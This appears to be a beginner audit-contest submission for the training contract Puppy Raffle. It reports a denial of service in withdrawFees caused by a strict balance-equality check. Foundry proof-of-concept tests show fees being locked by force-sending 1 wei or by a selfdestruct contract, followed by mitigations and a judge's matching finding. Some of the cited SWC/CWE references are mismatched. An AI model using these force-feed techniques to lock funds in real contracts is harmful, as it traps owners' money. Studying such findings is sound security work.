Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

DoS on withdrawFees via direct ETH transfer locks protocol fees

alaaeldinsabib

Summary

The withdrawFees function in PuppyRaffle.sol uses a strict equality check (address(this).balance == uint256(totalFees)) to ensure no active players exist before withdrawing fees. If any ETH is sent directly to the contract (e.g., via a standard transfer or selfdestruct), the balance exceeds totalFees, causing the check to fail permanently and locking all accumulated fees inside the contract.

Description

The contract relies on the contract's total ETH balance to verify that all players have been paid out or refunded. However, Ethereum allows anyone to force-send ETH to any contract address without executing any code. When this happens, address(this).balance becomes greater than totalFees. The require statement in withdrawFees will then revert on every subsequent attempt, creating a permanent Denial of Service (DoS) on the fee withdrawal mechanism.

Root Cause

File: src/PuppyRaffle.sol (line 153)

function withdrawFees() external {
// ❌ Strict equality check fails if extra ETH is force-sent
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Severity: Medium
Likelihood: Medium
Impact: Medium

  • ❌ Fee withdrawal is permanently blocked if extra ETH is sent

  • ❌ Accumulated protocol fees become trapped forever

  • ❌ Owner loses access to their revenue

  • ✅ Can be triggered accidentally or maliciously by anyone

Proof of Concept

Scenario: After a raffle completes and fees are ready to be withdrawn, an external user sends 1 wei directly to the contract. The owner then attempts to withdraw fees, but the transaction reverts.

function test_WithdrawFeesDoSByForceSend() public {
// Step 1: Setup and complete a raffle
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
raffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
raffle.selectWinner();
uint256 expectedFees = (entranceFee * 4 * 20) / 100;
assertEq(raffle.totalFees(), expectedFees);
// Step 2: Malicious user force-sends 1 wei to the contract
address attacker = makeAddr("attacker");
vm.deal(attacker, 1 ether);
vm.prank(attacker);
(bool success,) = address(raffle).call{value: 1}("");
assertTrue(success); // Force-send succeeds
console.log("Contract balance:", address(raffle).balance);
console.log("totalFees:", raffle.totalFees());
// Step 3: Owner tries to withdraw fees
vm.prank(owner);
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees(); // ❌ REVERTS permanently
console.log("VULNERABILITY: Fee withdrawal permanently blocked by 1 wei!");
}

Test Output:

Contract balance: 800000000000000001
totalFees: 800000000000000000
Transaction reverted: PuppyRaffle: There are currently players active!
VULNERABILITY: Fee withdrawal permanently blocked by 1 wei!

What This Proves:

  1. ✅ Force-sending ETH increases contract balance

  2. ✅ Strict equality check fails

  3. ✅ Fee withdrawal is permanently DoS'd

Recommended Mitigation

Change the equality check to a greater-than-or-equal check, or better yet, track active players using a counter:

// Fix 1: Simple fix (Change == to >=)
function withdrawFees() external {
require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient balance!");
// ... rest of logic
}
​
// Fix 2: Better architectural fix (Track active players)
uint256 public activePlayerCount;
​
function withdrawFees() external {
require(activePlayerCount == 0, "PuppyRaffle: There are currently players active!");
// ... rest of logic
}

Why This Fixes It:

  1. ✅ >= allows withdrawal even if extra ETH was force-sent

  2. ✅ activePlayerCount completely removes reliance on contract balance

  3. ✅ Prevents permanent DoS on fee collection

References

  • SWC-132: Unchecked Return Value For Low Level Call (Related to force-send)

  • CWE-391: Unchecked Error Condition

  • Ethereum Force-Feed vulnerability patterns

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!